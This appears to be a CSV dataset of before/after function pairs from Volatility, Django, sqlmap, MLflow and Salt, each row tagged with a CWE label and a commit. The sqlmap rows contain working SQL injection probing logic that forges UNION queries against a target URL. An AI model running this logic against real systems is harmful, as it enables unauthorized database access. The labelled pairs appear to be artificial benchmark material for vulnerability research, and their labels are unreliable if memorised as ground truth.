                        buf = proc_as.read(firstaddr, 64)
                        if not buf:
                            continue
                        eqidx = buf.find(""="")
                        if eqidx > 0:
                            nullidx = buf.find(""\x00"")
                            # single char name, =
                            if nullidx >= eqidx:
                                env_start = addr

                if env_start == 0:
                    continue

                envars = obj.Object(theType=""Array"", targetType=addr_type, vm=proc_as, offset=env_start, count=256)
                for var in envars:
                    if var:
                        sizes = [8, 16, 32, 64, 128, 256, 384, 512, 1024, 2048, 4096]
                        good_varstr = None

                        for size in sizes:
                            varstr = proc_as.read(var, size)
                            if not varstr:
                                continue

                            eqidx = varstr.find(""="")
                            idx = varstr.find(""\x00"")

                            if idx == -1 or eqidx == -1 or idx < eqidx:
                                continue
                        
                            good_varstr = varstr
                            break
                    
                        if good_varstr:        
                            good_varstr = good_varstr[:idx]
                            procvars.append(good_varstr) 

                yield task, "" "".join(procvars)

                break",,volatilityfoundation/volatility,782372bc160398ffbe3ec202da21200033565f64,"def calculate(self):
        mac_common.set_plugin_members(self)
    
        tasks = mac_tasks.mac_tasks(self._config).calculate()
        
        # Are we dealing with 32 or 64-bit pointers
        if self.addr_space.profile.metadata.get('memory_model', '32bit') == '32bit':
            pack_format = ""<I""
            addr_sz = 4
        else:
            pack_format = ""<Q""
            addr_sz = 8
            
        for task in tasks:
            proc_as = task.get_process_address_space()
            
            # In cases when mm is an invalid pointer 
            if not proc_as:
                continue

            procvars = []
            for mapping in task.get_proc_maps():
                if not str(mapping.get_perms()) == ""rw-"" or mapping.get_path().find(""bash"") == -1:
                    continue

                env_start = 0
                for off in range(mapping.links.start, mapping.links.end):
                    # check the first index
                    addrstr = proc_as.read(off, addr_sz)
                    if not addrstr or len(addrstr) != addr_sz:
                        continue
                    addr = struct.unpack(pack_format, addrstr)[0]
                    # check first idx...
                    if addr:
                        firstaddrstr = proc_as.read(addr, addr_sz)
                        if not firstaddrstr or len(firstaddrstr) != addr_sz:
                            continue
                        firstaddr = struct.unpack(pack_format, firstaddrstr)[0]
                        buf = proc_as.read(firstaddr, 64)
                        if not buf:
                            continue
                        eqidx = buf.find(""="")
                        if eqidx > 0:
                            nullidx = buf.find(""\x00"")
                            # single char name, =
                            if nullidx >= eqidx:
                                env_start = addr

                if env_start == 0:
                    continue

                envars = obj.Object(theType=""Array"", targetType=""Pointer"", vm=proc_as, offset=env_start, count=256)
                for var in envars:
                    if var:
                        sizes = [8, 16, 32, 64, 128, 256, 384, 512, 1024, 2048, 4096]
                        good_varstr = None

                        for size in sizes:
                            varstr = proc_as.read(var, size)
                            if not varstr:
                                continue

                            eqidx = varstr.find(""="")
                            idx = varstr.find(""\x00"")

                            if idx == -1 or eqidx == -1 or idx < eqidx:
                                continue
                        
                            good_varstr = varstr
                            break
                    
                        if good_varstr:        
                            good_varstr = good_varstr[:idx]
                            procvars.append(good_varstr) 

                yield task, "" "".join(procvars)

                break"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/formtools/tests/wizard/storage.py,0,"def test_extra_context(self):
        request = get_request()
        storage = self.get_storage()('wizard1', request, None)
        extra_context = {'key1': 'data1',
                         'key2': 'data2',
                         'key3': datetime.now(),
                         'key4': self.testuser}

        self.assertEqual(storage.extra_data, {})

        storage.extra_data = extra_context
        self.assertEqual(storage.extra_data, extra_context)

        storage.reset()
        self.assertEqual(storage.extra_data, {})

        storage.extra_data = extra_context
        storage2 = self.get_storage()('wizard2', request, None)
        self.assertEqual(storage2.extra_data, {})",CWE-Unknown,django/django,97121cb96e2f9f02f977010b5549b88f1a73610b,"def test_extra_context(self):
        request = get_request()
        storage = self.get_storage()('wizard1', request, None)
        extra_context = {'key1': 'data1',
                         'key2': 'data2',
                         'key3': datetime.now(),
                         'key4': self.testuser}

        self.assertEqual(storage.extra_data, {})

        storage.extra_data = extra_context
        self.assertEqual(storage.extra_data, extra_context)

        storage.reset()
        self.assertEqual(storage.extra_data, {})

        storage.extra_data = extra_context
        storage2 = self.get_storage()('wizard2', request, None)
        self.assertEqual(storage2.extra_data, {})"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/union/test.py,0,"def __unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL):
    validPayload = None
    vector = None

    positions = range(0, count)

    # Unbiased approach for searching appropriate usable column
    random.shuffle(positions)

    # For each column of the table (# of NULL) perform a request using
    # the UNION ALL SELECT statement to test it the target url is
    # affected by an exploitable inband SQL injection vulnerability
    for position in positions:
        # Prepare expression with delimiters
        randQuery = randomStr(UNION_MIN_RESPONSE_CHARS)
        phrase = ""%s%s%s"".lower() % (kb.chars.start, randQuery, kb.chars.stop)
        randQueryProcessed = agent.concatQuery(""\'%s\'"" % randQuery)
        randQueryUnescaped = unescaper.unescape(randQueryProcessed)

        # Forge the inband SQL injection request
        query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where)
        payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)

        # Perform the request
        page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
        content = ""%s%s"".lower() % (removeReflectiveValues(page, payload) or """", \
            removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
            payload, True) or """")

        if content and phrase in content:
            validPayload = payload
            vector = (position, count, comment, prefix, suffix, kb.uChar, where, content.count(phrase) > 1)

            if where == PAYLOAD.WHERE.ORIGINAL:
                # Prepare expression with delimiters
                randQuery2 = randomStr(UNION_MIN_RESPONSE_CHARS)
                phrase2 = ""%s%s%s"".lower() % (kb.chars.start, randQuery2, kb.chars.stop)
                randQueryProcessed2 = agent.concatQuery(""\'%s\'"" % randQuery2)
                randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2)

                # Confirm that it is a full inband SQL injection
                query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2)
                payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)

                # Perform the request
                page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
                content = ""%s%s"".lower() % (page or """", listToStrValue(headers.headers if headers else None) or """")

                if not all(_ in content for _ in (phrase, phrase2)):
                    vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE)

            unionErrorCase = kb.errorIsNone and wasLastRequestDBMSError()

            if unionErrorCase and count > 1:
                warnMsg = ""combined UNION/error-based SQL injection case found on ""
                warnMsg += ""column %d. sqlmap will try to find another "" % (position + 1)
                warnMsg += ""column with better characteristics""
                logger.warn(warnMsg)
            else:
                break

    return validPayload, vector",,sqlmapproject/sqlmap,06be7bbb18d59678fb49dea0ed5ca7b3727a0df9,"def __unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL):
    validPayload = None
    vector = None

    positions = range(0, count)

    # Unbiased approach for searching appropriate usable column
    random.shuffle(positions)

    # For each column of the table (# of NULL) perform a request using
    # the UNION ALL SELECT statement to test it the target url is
    # affected by an exploitable inband SQL injection vulnerability
    for position in positions:
        # Prepare expression with delimiters
        randQuery = randomStr(UNION_MIN_RESPONSE_CHARS)
        phrase = ""%s%s%s"".lower() % (kb.chars.start, randQuery, kb.chars.stop)
        randQueryProcessed = agent.concatQuery(""\'%s\'"" % randQuery)
        randQueryUnescaped = unescaper.unescape(randQueryProcessed)

        # Forge the inband SQL injection request
        query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where)
        payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)

        # Perform the request
        page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
        content = ""%s%s"".lower() % (removeReflectiveValues(page, payload) or """", \
            removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
            payload, True) or """")

        if content and phrase in content:
            validPayload = payload
            vector = (position, count, comment, prefix, suffix, kb.uChar, where)

            if where == PAYLOAD.WHERE.ORIGINAL:
                # Prepare expression with delimiters
                randQuery2 = randomStr(UNION_MIN_RESPONSE_CHARS)
                phrase2 = ""%s%s%s"".lower() % (kb.chars.start, randQuery2, kb.chars.stop)
                randQueryProcessed2 = agent.concatQuery(""\'%s\'"" % randQuery2)
                randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2)

                # Confirm that it is a full inband SQL injection
                query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2)
                payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)

                # Perform the request
                page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
                content = ""%s%s"".lower() % (page or """", listToStrValue(headers.headers if headers else None) or """")

                if not all(_ in content for _ in (phrase, phrase2)):
                    vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE)

            unionErrorCase = kb.errorIsNone and wasLastRequestDBMSError()

            if unionErrorCase and count > 1:
                warnMsg = ""combined UNION/error-based SQL injection case found on ""
                warnMsg += ""column %d. sqlmap will try to find another "" % (position + 1)
                warnMsg += ""column with better characteristics""
                logger.warn(warnMsg)
            else:
                break

    return validPayload, vector"
,UNKNOWN,UNKNOWN,tests/store/artifact/test_artifact_repository_registry.py,1,"def test_plugin_registration():
    artifact_repository_registry = ArtifactRepositoryRegistry()

    mock_plugin = mock.Mock()
    artifact_repository_registry.register(""mock-scheme"", mock_plugin)
    assert ""mock-scheme"" in artifact_repository_registry._registry
    repository_instance = artifact_repository_registry.get_artifact_repository(
        artifact_uri=""mock-scheme://fake-host/fake-path""
    )
    assert repository_instance == mock_plugin.return_value

    mock_plugin.assert_called_once_with(""mock-scheme://fake-host/fake-path"", tracking_uri=None)",CWE-703,mlflow/mlflow,e9d34c0f6e79377c93508573d465db6817b9b522,"def test_plugin_registration():
    artifact_repository_registry = ArtifactRepositoryRegistry()

    mock_plugin = mock.Mock()
    artifact_repository_registry.register(""mock-scheme"", mock_plugin)
    assert ""mock-scheme"" in artifact_repository_registry._registry
    repository_instance = artifact_repository_registry.get_artifact_repository(
        artifact_uri=""mock-scheme://fake-host/fake-path""
    )
    assert repository_instance == mock_plugin.return_value

    mock_plugin.assert_called_once_with(""mock-scheme://fake-host/fake-path"", None)"
,UNKNOWN,UNKNOWN,salt/state.py,1,"def call(self, low, chunks=None, running=None, retries=1):
        '''
        Call a state directly with the low data structure, verify data
        before processing.
        '''
        utc_start_time = datetime.datetime.utcnow()
        local_start_time = utc_start_time - (datetime.datetime.utcnow() - datetime.datetime.now())
        log.info('Running state [%s] at time %s',
            low['name'].strip() if isinstance(low['name'], six.string_types)
                else low['name'],
            local_start_time.time().isoformat()
        )
        errors = self.verify_data(low)
        if errors:
            ret = {
                'result': False,
                'name': low['name'],
                'changes': {},
                'comment': '',
                }
            for err in errors:
                ret['comment'] += '{0}\n'.format(err)
            ret['__run_num__'] = self.__run_num
            self.__run_num += 1
            format_log(ret)
            self.check_refresh(low, ret)
            return ret
        else:
            ret = {'result': False, 'name': low['name'], 'changes': {}}

        self.state_con['runas'] = low.get('runas', None)

        if low['state'] == 'cmd' and 'password' in low:
            self.state_con['runas_password'] = low['password']
        else:
            self.state_con['runas_password'] = low.get('runas_password', None)

        if not low.get('__prereq__'):
            log.info(
                'Executing state %s.%s for [%s]',
                low['state'],
                low['fun'],
                low['name'].strip() if isinstance(low['name'], six.string_types)
                    else low['name']
            )

        if 'provider' in low:
            self.load_modules(low)

        state_func_name = '{0[state]}.{0[fun]}'.format(low)
        cdata = salt.utils.args.format_call(
            self.states[state_func_name],
            low,
            initial_ret={'full': state_func_name},
            expected_extra_kws=STATE_INTERNAL_KEYWORDS
        )
        inject_globals = {
            # Pass a copy of the running dictionary, the low state chunks and
            # the current state dictionaries.
            # We pass deep copies here because we don't want any misbehaving
            # state module to change these at runtime.
            '__low__': immutabletypes.freeze(low),
            '__running__': immutabletypes.freeze(running) if running else {},
            '__instance_id__': self.instance_id,
            '__lowstate__': immutabletypes.freeze(chunks) if chunks else {}
        }

        if self.inject_globals:
            inject_globals.update(self.inject_globals)

        if low.get('__prereq__'):
            test = sys.modules[self.states[cdata['full']].__module__].__opts__['test']
            sys.modules[self.states[cdata['full']].__module__].__opts__['test'] = True
        try:
            # Let's get a reference to the salt environment to use within this
            # state call.
            #
            # If the state function accepts an 'env' keyword argument, it
            # allows the state to be overridden(we look for that in cdata). If
            # that's not found in cdata, we look for what we're being passed in
            # the original data, namely, the special dunder __env__. If that's
            # not found we default to 'base'
            if ('unless' in low and '{0[state]}.mod_run_check'.format(low) not in self.states) or \
                    ('onlyif' in low and '{0[state]}.mod_run_check'.format(low) not in self.states):
                ret.update(self._run_check(low))

            if not self.opts.get('lock_saltenv', False):
                # NOTE: Overriding the saltenv when lock_saltenv is blocked in
                # salt/modules/state.py, before we ever get here, but this
                # additional check keeps use of the State class outside of the
                # salt/modules/state.py from getting around this setting.
                if 'saltenv' in low:
                    inject_globals['__env__'] = six.text_type(low['saltenv'])
                elif isinstance(cdata['kwargs'].get('env', None), six.string_types):
                    # User is using a deprecated env setting which was parsed by
                    # format_call.
                    # We check for a string type since module functions which
                    # allow setting the OS environ also make use of the ""env""
                    # keyword argument, which is not a string
                    inject_globals['__env__'] = six.text_type(cdata['kwargs']['env'])
                elif '__env__' in low:
                    # The user is passing an alternative environment using
                    # __env__ which is also not the appropriate choice, still,
                    # handle it
                    inject_globals['__env__'] = six.text_type(low['__env__'])

            if '__env__' not in inject_globals:
                # Let's use the default environment
                inject_globals['__env__'] = 'base'

            if '__orchestration_jid__' in low:
                inject_globals['__orchestration_jid__'] = \
                    low['__orchestration_jid__']

            if 'result' not in ret or ret['result'] is False:
                self.states.inject_globals = inject_globals
                if self.mocked:
                    ret = mock_ret(cdata)
                else:
                    # Execute the state function
                    if not low.get('__prereq__') and low.get('parallel'):
                        # run the state call in parallel, but only if not in a prereq
                        ret = self.call_parallel(cdata, low)
                    else:
                        self.format_slots(cdata)
                        ret = self.states[cdata['full']](*cdata['args'],
                                                          **cdata['kwargs'])
                self.states.inject_globals = {}
            if 'check_cmd' in low and '{0[state]}.mod_run_check_cmd'.format(low) not in self.states:
                ret.update(self._run_check_cmd(low))
            self.verify_ret(ret)
            self.munge_ret_for_export(ret)
        except Exception:
            trb = traceback.format_exc()
            # There are a number of possibilities to not have the cdata
            # populated with what we might have expected, so just be smart
            # enough to not raise another KeyError as the name is easily
            # guessable and fallback in all cases to present the real
            # exception to the user
            if len(cdata['args']) > 0:
                name = cdata['args'][0]
            elif 'name' in cdata['kwargs']:
                name = cdata['kwargs']['name']
            else:
                name = low.get('name', low.get('__id__'))
            ret = {
                'result': False,
                'name': name,
                'changes': {},
                'comment': 'An exception occurred in this state: {0}'.format(
                    trb)
            }
        finally:
            if low.get('__prereq__'):
                sys.modules[self.states[cdata['full']].__module__].__opts__[
                    'test'] = test

            self.state_con.pop('runas', None)
            self.state_con.pop('runas_password', None)
            self.verify_ret_for_export(ret)

        # If format_call got any warnings, let's show them to the user
        if 'warnings' in cdata:
            ret.setdefault('warnings', []).extend(cdata['warnings'])

        if 'provider' in low:
            self.load_modules()

        if low.get('__prereq__'):
            low['__prereq__'] = False
            return ret

        ret['__sls__'] = low.get('__sls__')
        ret['__run_num__'] = self.__run_num
        self.__run_num += 1
        format_log(ret)
        self.check_refresh(low, ret)
        utc_finish_time = datetime.datetime.utcnow()
        timezone_delta = datetime.datetime.utcnow() - datetime.datetime.now()
        local_finish_time = utc_finish_time - timezone_delta
        local_start_time = utc_start_time - timezone_delta
        ret['start_time'] = local_start_time.time().isoformat()
        delta = (utc_finish_time - utc_start_time)
        # duration in milliseconds.microseconds
        duration = (delta.seconds * 1000000 + delta.microseconds)/1000.0
        ret['duration'] = duration
        ret['__id__'] = low['__id__']
        log.info(
            'Completed state [%s] at time %s (duration_in_ms=%s)',
            low['name'].strip() if isinstance(low['name'], six.string_types)
                else low['name'],
            local_finish_time.time().isoformat(),
            duration
        )
        if 'retry' in low:
            low['retry'] = self.verify_retry_data(low['retry'])
            if not sys.modules[self.states[cdata['full']].__module__].__opts__['test']:
                if low['retry']['until'] != ret['result']:
                    if low['retry']['attempts'] > retries:
                        interval = low['retry']['interval']
                        if low['retry']['splay'] != 0:
                            interval = interval + random.randint(0, low['retry']['splay'])
                        log.info(
                            'State result does not match retry until value, '
                            'state will be re-run in %s seconds', interval
                        )
                        self.functions['test.sleep'](interval)
                        retry_ret = self.call(low, chunks, running, retries=retries+1)
                        orig_ret = ret
                        ret = retry_ret
                        ret['comment'] = '\n'.join(
                                [(
                                     'Attempt {0}: Returned a result of ""{1}"", '
                                     'with the following comment: ""{2}""'.format(
                                         retries,
                                         orig_ret['result'],
                                         orig_ret['comment'])
                                 ),
                                 '' if not ret['comment'] else ret['comment']])
                        ret['duration'] = ret['duration'] + orig_ret['duration'] + (interval * 1000)
                        if retries == 1:
                            ret['start_time'] = orig_ret['start_time']
            else:
                ret['comment'] = '  '.join(
                        ['' if not ret['comment'] else ret['comment'],
                         ('The state would be retried every {1} seconds '
                          '(with a splay of up to {3} seconds) '
                          'a maximum of {0} times or until a result of {2} '
                          'is returned').format(low['retry']['attempts'],
                                                low['retry']['interval'],
                                                low['retry']['until'],
                                                low['retry']['splay'])])
        return ret",CWE-330,saltstack/salt,fe87704ff29cf27e33438b9520393d8e1acb244f,"def call(self, low, chunks=None, running=None, retries=1):
        '''
        Call a state directly with the low data structure, verify data
        before processing.
        '''
        utc_start_time = datetime.datetime.utcnow()
        local_start_time = utc_start_time - (datetime.datetime.utcnow() - datetime.datetime.now())
        log.info('Running state [%s] at time %s',
            low['name'].strip() if isinstance(low['name'], six.string_types)
                else low['name'],
            local_start_time.time().isoformat()
        )
        errors = self.verify_data(low)
        if errors:
            ret = {
                'result': False,
                'name': low['name'],
                'changes': {},
                'comment': '',
                }
            for err in errors:
                ret['comment'] += '{0}\n'.format(err)
            ret['__run_num__'] = self.__run_num
            self.__run_num += 1
            format_log(ret)
            self.check_refresh(low, ret)
            return ret
        else:
            ret = {'result': False, 'name': low['name'], 'changes': {}}

        self.state_con['runas'] = low.get('runas', None)

        if low['state'] == 'cmd' and 'password' in low:
            self.state_con['runas_password'] = low['password']
        else:
            self.state_con['runas_password'] = low.get('runas_password', None)

        if not low.get('__prereq__'):
            log.info(
                'Executing state %s.%s for [%s]',
                low['state'],
                low['fun'],
                low['name'].strip() if isinstance(low['name'], six.string_types)
                    else low['name']
            )

        if 'provider' in low:
            self.load_modules(low)

        state_func_name = '{0[state]}.{0[fun]}'.format(low)
        cdata = salt.utils.args.format_call(
            self.states[state_func_name],
            low,
            initial_ret={'full': state_func_name},
            expected_extra_kws=STATE_INTERNAL_KEYWORDS
        )
        inject_globals = {
            # Pass a copy of the running dictionary, the low state chunks and
            # the current state dictionaries.
            # We pass deep copies here because we don't want any misbehaving
            # state module to change these at runtime.
            '__low__': immutabletypes.freeze(low),
            '__running__': immutabletypes.freeze(running) if running else {},
            '__instance_id__': self.instance_id,
            '__lowstate__': immutabletypes.freeze(chunks) if chunks else {}
        }

        if self.inject_globals:
            inject_globals.update(self.inject_globals)

        if low.get('__prereq__'):
            test = sys.modules[self.states[cdata['full']].__module__].__opts__['test']
            sys.modules[self.states[cdata['full']].__module__].__opts__['test'] = True
        try:
            # Let's get a reference to the salt environment to use within this
            # state call.
            #
            # If the state function accepts an 'env' keyword argument, it
            # allows the state to be overridden(we look for that in cdata). If
            # that's not found in cdata, we look for what we're being passed in
            # the original data, namely, the special dunder __env__. If that's
            # not found we default to 'base'
            if ('unless' in low and '{0[state]}.mod_run_check'.format(low) not in self.states) or \
                    ('onlyif' in low and '{0[state]}.mod_run_check'.format(low) not in self.states):
                ret.update(self._run_check(low))

            if not self.opts.get('lock_saltenv', False):
                # NOTE: Overriding the saltenv when lock_saltenv is blocked in
                # salt/modules/state.py, before we ever get here, but this
                # additional check keeps use of the State class outside of the
                # salt/modules/state.py from getting around this setting.
                if 'saltenv' in low:
                    inject_globals['__env__'] = six.text_type(low['saltenv'])
                elif isinstance(cdata['kwargs'].get('env', None), six.string_types):
                    # User is using a deprecated env setting which was parsed by
                    # format_call.
                    # We check for a string type since module functions which
                    # allow setting the OS environ also make use of the ""env""
                    # keyword argument, which is not a string
                    inject_globals['__env__'] = six.text_type(cdata['kwargs']['env'])
                elif '__env__' in low:
                    # The user is passing an alternative environment using
                    # __env__ which is also not the appropriate choice, still,
                    # handle it
                    inject_globals['__env__'] = six.text_type(low['__env__'])

            if '__env__' not in inject_globals:
                # Let's use the default environment
                inject_globals['__env__'] = 'base'

            if '__orchestration_jid__' in low:
                inject_globals['__orchestration_jid__'] = \
                    low['__orchestration_jid__']

            if 'result' not in ret or ret['result'] is False:
                self.states.inject_globals = inject_globals
                if self.mocked:
                    ret = mock_ret(cdata)
                else:
                    # Execute the state function
                    if not low.get('__prereq__') and low.get('parallel'):
                        # run the state call in parallel, but only if not in a prereq
                        ret = self.call_parallel(cdata, low)
                    else:
                        self.format_slots(cdata)
                        ret = self.states[cdata['full']](*cdata['args'],
                                                          **cdata['kwargs'])
                self.states.inject_globals = {}
            if 'check_cmd' in low and '{0[state]}.mod_run_check_cmd'.format(low) not in self.states:
                ret.update(self._run_check_cmd(low))
            self.verify_ret(ret)
            self.munge_ret_for_export(ret)
        except Exception:
            trb = traceback.format_exc()
            # There are a number of possibilities to not have the cdata
            # populated with what we might have expected, so just be smart
            # enough to not raise another KeyError as the name is easily
            # guessable and fallback in all cases to present the real
            # exception to the user
            if len(cdata['args']) > 0:
                name = cdata['args'][0]
            elif 'name' in cdata['kwargs']:
                name = cdata['kwargs']['name']
            else:
                name = low.get('name', low.get('__id__'))
            ret = {
                'result': False,
                'name': name,
                'changes': {},
                'comment': 'An exception occurred in this state: {0}'.format(
                    trb)
            }
        finally:
            if low.get('__prereq__'):
                sys.modules[self.states[cdata['full']].__module__].__opts__[
                    'test'] = test

            self.state_con.pop('runas', None)
            self.state_con.pop('runas_password', None)
            self.verify_ret_for_export(ret)

        # If format_call got any warnings, let's show them to the user
        if 'warnings' in cdata:
            ret.setdefault('warnings', []).extend(cdata['warnings'])

        if 'provider' in low:
            self.load_modules()

        if low.get('__prereq__'):
            low['__prereq__'] = False
            return ret

        ret['__sls__'] = low.get('__sls__')
        ret['__run_num__'] = self.__run_num
        self.__run_num += 1
        format_log(ret)
        self.check_refresh(low, ret)
        utc_finish_time = datetime.datetime.utcnow()
        timezone_delta = datetime.datetime.utcnow() - datetime.datetime.now()
        local_finish_time = utc_finish_time - timezone_delta
        local_start_time = utc_start_time - timezone_delta
        ret['start_time'] = local_start_time.time().isoformat()
        delta = (utc_finish_time - utc_start_time)
        # duration in milliseconds.microseconds
        duration = (delta.seconds * 1000000 + delta.microseconds)/1000.0
        ret['duration'] = duration
        ret['__id__'] = low['__id__']
        log.info(
            'Completed state [%s] at time %s (duration_in_ms=%s)',
            low['name'].strip() if isinstance(low['name'], six.string_types)
                else low['name'],
            local_finish_time.time().isoformat(),
            duration
        )
        if 'retry' in low:
            low['retry'] = self.verify_retry_data(low['retry'])
            if not sys.modules[self.states[cdata['full']].__module__].__opts__['test']:
                if low['retry']['until'] != ret['result']:
                    if low['retry']['attempts'] > retries:
                        interval = low['retry']['interval']
                        if low['retry']['splay'] != 0:
                            interval = interval + random.randint(0, low['retry']['splay'])
                        log.info(
                            'State result does not match retry until value, '
                            'state will be re-run in %s seconds', interval
                        )
                        self.functions['test.sleep'](interval)
                        retry_ret = self.call(low, chunks, running, retries=retries+1)
                        orig_ret = ret
                        ret = retry_ret
                        ret['comment'] = '\n'.join(
                                [(
                                     'Attempt {0}: Returned a result of ""{1}"", '
                                     'with the following comment: ""{2}""'.format(
                                         retries,
                                         orig_ret['result'],
                                         orig_ret['comment'])
                                 ),
                                 '' if not ret['comment'] else ret['comment']])
                        ret['duration'] = ret['duration'] + orig_ret['duration'] + (interval * 1000)
                        if retries == 1:
                            ret['start_time'] = orig_ret['start_time']
            else:
                ret['comment'] = '  '.join(
                        ['' if not ret['comment'] else ret['comment'],
                         ('The state would be retried every {1} seconds '
                          '(with a splay of up to {3} seconds) '
                          'a maximum of {0} times or until a result of {2} '
                          'is returned').format(low['retry']['attempts'],
                                                low['retry']['interval'],
                                                low['retry']['until'],
                                                low['retry']['splay'])])
        return ret"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/malware/timers.py,0,"def calculate(self):
        addr_space = utils.load_as(self._config)

        if not self.is_valid_profile(addr_space.profile):
            debug.error(""This command does not support the selected profile."")

        # Get the OS version we're analyzing 
        version = (addr_space.profile.metadata.get('major', 0),
                   addr_space.profile.metadata.get('minor', 0))

        modlist = list(modules.lsmod(addr_space))
        mods = dict((addr_space.address_mask(mod.DllBase), mod) for mod in modlist)
        mod_addrs = sorted(mods.keys())

        # KTIMERs collected 
        timers = []

        # Valid KTIMER.Header.Type values 
        TimerNotificationObject = 8
        TimerSynchronizationObject = 9
        valid_types = (TimerNotificationObject, TimerSynchronizationObject)

        if version == (5, 1) or (version == (5, 2) and
                                addr_space.profile.metadata.get('build', 0) == 3789):

            # On XP SP0-SP3 x86 and Windows 2003 SP0, KiTimerTableListHead
            # is an array of 256 _LIST_ENTRY for _KTIMERs.

            KiTimerTableListHead = self.find_list_head(modlist[0],
                                        ""KeUpdateSystemTime"",
                                        ""\x25\xFF\x00\x00\x00\x8D\x0C\xC5"")

            lists = obj.Object(""Array"", offset = KiTimerTableListHead,
                                        vm = addr_space,
                                        targetType = '_LIST_ENTRY',
                                        count = 256)

            for l in lists:
                for t in l.list_of_type(""_KTIMER"", ""TimerListEntry""):
                    timers.append(t)

        elif version == (5, 2) or version == (6, 0):

            # On XP x64, Windows 2003 SP1-SP2, and Vista SP0-SP2, KiTimerTableListHead
            # is an array of 512 _KTIMER_TABLE_ENTRY structs.

            KiTimerTableListHead = self.find_list_head(modlist[0],
                                        ""KeCancelTimer"",
                                        ""\xC1\xE7\x04\x81\xC7"")

            lists = obj.Object(""Array"", offset = KiTimerTableListHead,
                                        vm = addr_space,
                                        targetType = '_KTIMER_TABLE_ENTRY',
                                        count = 512)

            for l in lists:
                for t in l.Entry.list_of_type(""_KTIMER"", ""TimerListEntry""):
                    timers.append(t)

        elif version == (6, 1):

            # On Windows 7, there is no more KiTimerTableListHead. The list is
            # at _KPCR.PrcbData.TimerTable.TimerEntries (credits to Matt Suiche
            # for this one. See http://pastebin.com/FiRsGW3f).
            for kpcr in tasks.get_kdbg(addr_space).kpcrs():
                for table in kpcr.ProcessorBlock.TimerTable.TimerEntries:
                    for t in table.Entry.list_of_type(""_KTIMER"", ""TimerListEntry""):
                        timers.append(t)

        for timer in timers:

            # Sanity check on the timer type 
            if timer.Header.Type not in valid_types:
                continue

            # Ignore timers without DPCs
            if not timer.Dpc.is_valid() or not timer.Dpc.DeferredRoutine.is_valid():
                continue

            # Lookup the module containing the DPC
            module = tasks.find_module(mods, mod_addrs, addr_space.address_mask(timer.Dpc.DeferredRoutine))

            yield timer, module",,volatilityfoundation/volatility,f606ffd282fd57a8e82be898c0d184ae0bee3383,"def calculate(self):
        addr_space = utils.load_as(self._config)

        if not self.is_valid_profile(addr_space.profile):
            debug.error(""This command does not support the selected profile."")

        # Get the OS version we're analyzing 
        version = (addr_space.profile.metadata.get('major', 0),
                   addr_space.profile.metadata.get('minor', 0))

        modlist = list(modules.lsmod(addr_space))
        mods = dict((mod.DllBase, mod) for mod in modlist)
        mod_addrs = sorted(mods.keys())

        # KTIMERs collected 
        timers = []

        # Valid KTIMER.Header.Type values 
        TimerNotificationObject = 8
        TimerSynchronizationObject = 9
        valid_types = (TimerNotificationObject, TimerSynchronizationObject)

        if version == (5, 1) or (version == (5, 2) and
                                addr_space.profile.metadata.get('build', 0) == 3789):

            # On XP SP0-SP3 x86 and Windows 2003 SP0, KiTimerTableListHead
            # is an array of 256 _LIST_ENTRY for _KTIMERs.

            KiTimerTableListHead = self.find_list_head(modlist[0],
                                        ""KeUpdateSystemTime"",
                                        ""\x25\xFF\x00\x00\x00\x8D\x0C\xC5"")

            lists = obj.Object(""Array"", offset = KiTimerTableListHead,
                                        vm = addr_space,
                                        targetType = '_LIST_ENTRY',
                                        count = 256)

            for l in lists:
                for t in l.list_of_type(""_KTIMER"", ""TimerListEntry""):
                    timers.append(t)

        elif version == (5, 2) or version == (6, 0):

            # On XP x64, Windows 2003 SP1-SP2, and Vista SP0-SP2, KiTimerTableListHead
            # is an array of 512 _KTIMER_TABLE_ENTRY structs.

            KiTimerTableListHead = self.find_list_head(modlist[0],
                                        ""KeCancelTimer"",
                                        ""\xC1\xE7\x04\x81\xC7"")

            lists = obj.Object(""Array"", offset = KiTimerTableListHead,
                                        vm = addr_space,
                                        targetType = '_KTIMER_TABLE_ENTRY',
                                        count = 512)

            for l in lists:
                for t in l.Entry.list_of_type(""_KTIMER"", ""TimerListEntry""):
                    timers.append(t)

        elif version == (6, 1):

            # On Windows 7, there is no more KiTimerTableListHead. The list is
            # at _KPCR.PrcbData.TimerTable.TimerEntries (credits to Matt Suiche
            # for this one. See http://pastebin.com/FiRsGW3f).
            for kpcr in tasks.get_kdbg(addr_space).kpcrs():
                for table in kpcr.ProcessorBlock.TimerTable.TimerEntries:
                    for t in table.Entry.list_of_type(""_KTIMER"", ""TimerListEntry""):
                        timers.append(t)

        for timer in timers:

            # Sanity check on the timer type 
            if timer.Header.Type not in valid_types:
                continue

            # Ignore timers without DPCs
            if not timer.Dpc.is_valid() or not timer.Dpc.DeferredRoutine.is_valid():
                continue

            # Lookup the module containing the DPC
            module = tasks.find_module(mods, mod_addrs, timer.Dpc.DeferredRoutine)

            yield timer, module"
